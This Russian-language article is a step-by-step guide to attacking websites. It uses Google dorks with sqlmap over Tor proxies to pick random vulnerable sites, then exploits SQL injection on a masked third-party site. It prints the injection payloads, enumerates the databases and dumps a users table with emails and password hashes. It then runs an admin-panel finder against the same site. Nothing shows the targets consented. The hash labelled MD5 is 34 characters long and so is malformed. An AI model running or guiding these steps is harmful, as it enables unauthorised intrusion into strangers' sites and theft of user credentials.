[Статья] Знакомство с простейшей пенетрацией веб-ресурсов

sqlmap --version

sudo apt-get install perl

sqlmap -g inurl:news-read.php?id= --random-agent --proxy=socks5://127.0.0.1:9150

[23:07:12] [INFO] first request to Google to get the session cookie
[23:07:14] [INFO] using Google result page #1
[23:07:16] [CRITICAL] Google has detected 'unusual' traffic from used IP address disabling further searches

proxychains sqlmap -g news-read.php?id= --random-agent

[*] starting at 23:20:17

[23:20:17] [INFO] fetched random HTTP User-Agent header from file '/usr/share/sqlmap/txt/user-agents.txt': 'Mozilla/5.0 (Windows NT 6.0; U; en; rv:1.8.1) Gecko/20061208 Firefox/2.0.0 Opera 9.51'
[23:20:17] [INFO] first request to Google to get the session cookie
[23:20:17] [INFO] using Google result page #1
[23:20:18] [INFO] sqlmap got 72 results for your Google dork expression, 42 of them are testable targets
[23:20:18] [INFO] sqlmap got a total of 42 targets

...тут лишнии строки вырежем...

URL 10:
GET https://atn.ua/news-read.php?id=67312
do you want to test this URL? [Y/n/q]
> n

URL 11:
GET https://atn.ua/news-read.php?id=66577
do you want to test this URL? [Y/n/q]
> n

...и тут...

URL N:
GET https://HIDEADRESS.com/news-read.php?id=9835
do you want to test this URL? [Y/n/q]
> q

--proxy='http,socks'://ip:port

sqlmap -u https://HIDEADRESS.com/news-read.php?id=9835 --random-agent --proxy=socks5://127.0.0.1:9150 --dbs

esida@laptop:~$ sqlmap -u https://HIDEADRESS.com/news-read.php?id=9835 --random-agent --proxy=socks5://127.0.0.1:9150 --dbs 
         _
 ___ ___| |_____ ___ ___  {1.0-dev-nongit-20150814}
|_ -| . | |     | .'| . |
|___|_  |_|_|_|_|__,|  _|
      |_|           |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting at 21:16:51

[21:16:51] [INFO] fetched random HTTP User-Agent header from file '/usr/share/sqlmap/txt/user-agents.txt': 'Opera/9.62 (Windows NT 5.1; U; ru) Presto/2.1.1'
[21:16:51] [INFO] testing connection to the target URL
[21:16:53] [INFO] testing if the target URL is stable
[21:16:55] [INFO] target URL is stable
[21:16:55] [INFO] testing if GET parameter 'id' is dynamic
[21:16:56] [INFO] confirming that GET parameter 'id' is dynamic
[21:16:57] [INFO] GET parameter 'id' is dynamic
[21:16:59] [INFO] heuristic (basic) test shows that GET parameter 'id' might be injectable (possible DBMS: 'MySQL')
[21:17:00] [INFO] testing for SQL injection on GET parameter 'id'
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] y
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] y
[21:17:03] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[21:17:05] [WARNING] reflective value(s) found and filtering out
[21:17:10] [INFO] GET parameter 'id' seems to be 'AND boolean-based blind - WHERE or HAVING clause' injectable 
[21:17:10] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause'
[21:17:11] [INFO] GET parameter 'id' is 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' injectable 
[21:17:11] [INFO] testing 'MySQL inline queries'
[21:17:12] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)'
[21:17:12] [WARNING] time-based comparison requires larger statistical model, please wait..................            
[21:17:37] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT)'
[21:17:39] [INFO] testing 'MySQL > 5.0.11 stacked queries (comment)'
[21:17:40] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[21:17:42] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query - comment)'
[21:17:43] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query)'
[21:17:44] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)'
[21:17:56] [INFO] GET parameter 'id' seems to be 'MySQL >= 5.0.12 AND time-based blind (SELECT)' injectable 
[21:17:56] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[21:17:56] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[21:17:59] [INFO] ORDER BY technique seems to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test
[21:18:06] [INFO] target URL appears to have 10 columns in query
[21:18:13] [INFO] GET parameter 'id' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable
y
sqlmap identified the following injection point(s) with a total of 47 HTTP(s) requests:
---
Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=35 AND 2802=2802

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause
    Payload: id=35 AND (SELECT 4044 FROM(SELECT COUNT(*),CONCAT(0x7176626271,(SELECT (ELT(4044=4044,1))),0x716b7a6a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)

    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
    Payload: id=35 AND (SELECT * FROM (SELECT(SLEEP(5)))YImF)

    Type: UNION query
    Title: Generic UNION query (NULL) - 10 columns
    Payload: id=35 UNION ALL SELECT NULL,CONCAT(0x7176626271,0x4b4477444e64524a6665,0x716b7a6a71),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- 
---
[21:18:24] [INFO] the back-end DBMS is MySQL
web application technology: Apache
back-end DBMS: MySQL 5.0
[21:18:24] [INFO] fetching database names
[21:18:26] [WARNING] something went wrong with full UNION technique (could be because of limitation on retrieved number of entries). Falling back to partial UNION technique
[21:18:28] [WARNING] the SQL query provided does not return any output
[21:18:30] [INFO] the SQL query used returns 2 entries
[21:18:31] [INFO] retrieved: information_schema
[21:18:33] [INFO] retrieved: main_HIDEADRESS
available databases [2]:
[*] information_schema
[*] main_HIDEADRESS

[21:18:33] [INFO] fetched data logged to text files under '/home/esida/.sqlmap/output/HIDEADRESS.com'

[*] shutting down at 21:18:33

sqlmap -u https://HIDEADRESS.com/news-read.php?id=9835 --random-agent --proxy=socks5://127.0.0.1:9150 -D main_HIDEADRESS --tables

esida@laptop:~$ sqlmap -u https://HIDEADRESS.com/news-read.php?id=9835 --random-agent --proxy=socks5://127.0.0.1:9150 -D main_HIDEADRESS --tables
         _
 ___ ___| |_____ ___ ___  {1.0-dev-nongit-20150814}
|_ -| . | |     | .'| . |
|___|_  |_|_|_|_|__,|  _|
      |_|           |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting at 21:19:29

[21:19:29] [INFO] fetched random HTTP User-Agent header from file '/usr/share/sqlmap/txt/user-agents.txt': 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.221.6 Safari/532.2'
[21:19:29] [INFO] resuming back-end DBMS 'mysql' 
[21:19:29] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=35 AND 2802=2802

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause
    Payload: id=35 AND (SELECT 4044 FROM(SELECT COUNT(*),CONCAT(0x7176626271,(SELECT (ELT(4044=4044,1))),0x716b7a6a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)

    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
    Payload: id=35 AND (SELECT * FROM (SELECT(SLEEP(5)))YImF)

    Type: UNION query
    Title: Generic UNION query (NULL) - 10 columns
    Payload: id=35 UNION ALL SELECT NULL,CONCAT(0x7176626271,0x4b4477444e64524a6665,0x716b7a6a71),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- 
---
[21:19:32] [INFO] the back-end DBMS is MySQL
web application technology: Apache
back-end DBMS: MySQL 5.0
[21:19:32] [INFO] fetching tables for database: 'main_HIDEADRESS'
[21:19:34] [WARNING] reflective value(s) found and filtering out
[21:19:34] [WARNING] something went wrong with full UNION technique (could be because of limitation on retrieved number of entries). Falling back to partial UNION technique
[21:19:35] [WARNING] the SQL query provided does not return any output
[21:19:37] [INFO] the SQL query used returns 6 entries
[21:19:38] [INFO] retrieved: category
[21:19:39] [INFO] retrieved: listing_category
[21:19:41] [INFO] retrieved: listings
[21:19:42] [INFO] retrieved: news
[21:19:44] [INFO] retrieved: testimonials
[21:19:46] [INFO] retrieved: users
Database: main_HIDEADRESS
[6 tables]
+------------------+
| category         |
| listing_category |
| listings         |
| news             |
| testimonials     |
| users            |
+------------------+

[21:19:46] [INFO] fetched data logged to text files under '/home/esida/.sqlmap/output/HIDEADRESS.com'

[*] shutting down at 21:19:46

sqlmap -u https://HIDEADRESS.com/news-read.php?id=9835 --random-agent --proxy=socks5://127.0.0.1:9150 -D main_HIDEADRESS -T users --dump

esida@laptop:~$ sqlmap -u https://HIDEADRESS.com/news-read.php?id=9835 --random-agent --proxy=socks5://127.0.0.1:9150 -D main_HIDEADRESS -T users --dump
         _
 ___ ___| |_____ ___ ___  {1.0-dev-nongit-20150814}
|_ -| . | |     | .'| . |
|___|_  |_|_|_|_|__,|  _|
      |_|           |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting at 21:20:21

[21:20:21] [INFO] fetched random HTTP User-Agent header from file '/usr/share/sqlmap/txt/user-agents.txt': 'Mozilla/5.0 (Windows; U; Windows NT 6.1; es-ES) AppleWebKit/531.22.7 (KHTML, like Gecko) Version/4.0.5 Safari/531.22.7'
[21:20:21] [INFO] resuming back-end DBMS 'mysql' 
[21:20:21] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=35 AND 2802=2802

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause
    Payload: id=35 AND (SELECT 4044 FROM(SELECT COUNT(*),CONCAT(0x7176626271,(SELECT (ELT(4044=4044,1))),0x716b7a6a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)

    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
    Payload: id=35 AND (SELECT * FROM (SELECT(SLEEP(5)))YImF)

    Type: UNION query
    Title: Generic UNION query (NULL) - 10 columns
    Payload: id=35 UNION ALL SELECT NULL,CONCAT(0x7176626271,0x4b4477444e64524a6665,0x716b7a6a71),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- 
---
[21:20:24] [INFO] the back-end DBMS is MySQL
web application technology: Apache
back-end DBMS: MySQL 5.0
[21:20:24] [INFO] fetching columns for table 'users' in database 'main_HIDEADRESS'
[21:20:25] [WARNING] reflective value(s) found and filtering out
[21:20:25] [WARNING] something went wrong with full UNION technique (could be because of limitation on retrieved number of entries). Falling back to partial UNION technique
[21:20:26] [WARNING] the SQL query provided does not return any output
[21:20:28] [INFO] the SQL query used returns 6 entries
[21:20:32] [INFO] retrieved: user_id
[21:20:34] [INFO] retrieved: int(4)
[21:20:35] [INFO] retrieved: user_name
[21:20:37] [INFO] retrieved: varchar(32)
[21:20:38] [INFO] retrieved: user_pwd
[21:20:40] [INFO] retrieved: varchar(32)
[21:20:41] [INFO] retrieved: user_email
[21:20:43] [INFO] retrieved: varchar(100)
[21:20:44] [INFO] retrieved: user_edate
[21:20:46] [INFO] retrieved: datetime
[21:20:47] [INFO] retrieved: user_isactive
[21:20:49] [INFO] retrieved: int(1)
[21:20:49] [INFO] fetching entries for table 'users' in database 'main_HIDEADRESS'
[21:20:52] [WARNING] the SQL query provided does not return any output
[21:20:53] [INFO] the SQL query used returns 2 entries
[21:20:54] [INFO] retrieved: 2015-01-08 09:55:00
[21:20:55] [INFO] retrieved: [email protected]
[21:20:56] [INFO] retrieved: 2
[21:20:58] [INFO] retrieved: 1
[21:20:59] [INFO] retrieved: WPAdm1n
[21:21:00] [INFO] retrieved: 092843e5d323469872340dbd219953bf62
[21:21:02] [INFO] retrieved: 2015-01-08 08:13:00
[21:21:03] [INFO] retrieved: [email protected]
[21:21:05] [INFO] retrieved: 3
[21:21:06] [INFO] retrieved: 1
[21:21:08] [INFO] retrieved: MdG2015
[21:21:12] [INFO] retrieved: 092843e5d323469872340dbd219953bf62

Database: main_HIDEADRESS
Table: users
[2 entries]
+---------+-----------------+--------------+---------------------+-----------------------+---------------+
| user_id | user_pwd        | user_name    | user_edate          | user_email            | user_isactive |
+---------+-----------------+--------------+---------------------+-----------------------+---------------+
| 2  | 092843e5d323469872340dbd219953bf62 | WPAdm1n | 2015-01-08 09:35:00 | [email protected]| 1             |
| 3  | 092843e5d323469872340dbd219953bf62 | MdG2015 | 2015-01-08 12:14:00 | [email protected] | 1             |
+---------+-----------------+--------------+---------------------+-----------------------+---------------+

[21:21:12] [INFO] table 'main_HIDEADRESS.com.users' dumped to CSV file '/home/esida/.sqlmap/output/HIDEADRESS.com.com/dump/main_HIDEADRESS.com/users.csv'
[21:21:12] [INFO] fetched data logged to text files under '/home/esida/.sqlmap/output/HIDEADRESS.com'

[*] shutting down at 21:21:12

md5 hash:
092843e5d323469872340dbd219953bf62

proxychains perl findadminpanel.pl

esida@laptop:~$ proxychains perl findadminpanel.pl
ProxyChains-3.1 (https://proxychains.sf.net)

=========================================================================
	                                     Find Admin Control Panel                            
	                                 Product is Feeling/Reseau Group                         
	                                       Author: numitira                                  
	                               Contact us: numitira @ zloy.im                           
	=========================================================================

	=========================================================================
	=   Введите url-адрес ресурса, на котором вы хотите осуществить поиск панели управления   =
	=   Примеры: https://www.fsbsite.ru/, www.mvdlook.net, mysosedismad.com, abv.info/path/              =
	===========================================================================================
-> https://www.HIDEADRESS.com

	=========================================================================
	=    Выберите модель поиска из предложенных вариантов:                                    =
	=    Выбери вариант '1' для поиска php, html и типичных вариантов                         =
	=    Выбери вариант '2' для поиска html, asp и aspx                                       =
	=    Выбери вариант '3' для поиска всех возможных вариантов из базы                       =
	=========================================================================
-> 1

-> Цель: https://www.HIDEADRESS.com/
-> Выбрана модель: 1
-> Процесс запущен. Ищем панель управления...

... вырежем ненайденные строки...

|DNS-request| HIDEADRESS.com 
|S-chain|-<>-127.0.0.1:9150-<><>-2.2.2.2:53-<><>-OK
|DNS-response| HIDEADRESS.com is 72.127.212.16
....

 Найдено по адресу: -> https://HIDEADRESS.com/usuarios/

apt-get install httrack

httrack

1. Создать зеркало сайта (сайтов)
2. Создать зеркало сайта (сайтов) с мастером
3. Просто получить указанные файлы
4. Сделать зеркало всех ссылок в URL
5. Протестировать ссылки в URL (Тест закладок)
6. Выход

--threads=THREADS

python sqlmapapi.py -c
[20:36:32] [INFO] Starting REST-JSON API client to 'https://127.0.0.1:8775'...
[20:36:32] [DEBUG] Calling https://127.0.0.1:8775
[20:36:32] [INFO] Type 'help' or '?' for list of available commands
api> new -m mtest
[20:37:36] [DEBUG] Calling https://127.0.0.1:8775/task/new
[20:37:36] [INFO] New task ID is 'd89ab38a3e93db2d'
[20:37:36] [DEBUG] Calling https://127.0.0.1:8775/scan/d89ab38a3e93db2d/start
[20:37:36] [INFO] Scanning started
api (d89ab38a3e93db2d)> 

api> new -m mtest
[20:37:36] [DEBUG] Calling https://127.0.0.1:8775/task/new
[20:37:36] [INFO] New task ID is 'd89ab38a3e93db2d'
[20:37:36] [DEBUG] Calling https://127.0.0.1:8775/scan/d89ab38a3e93db2d/start
[20:37:36] [INFO] Scanning started
api (d89ab38a3e93db2d)>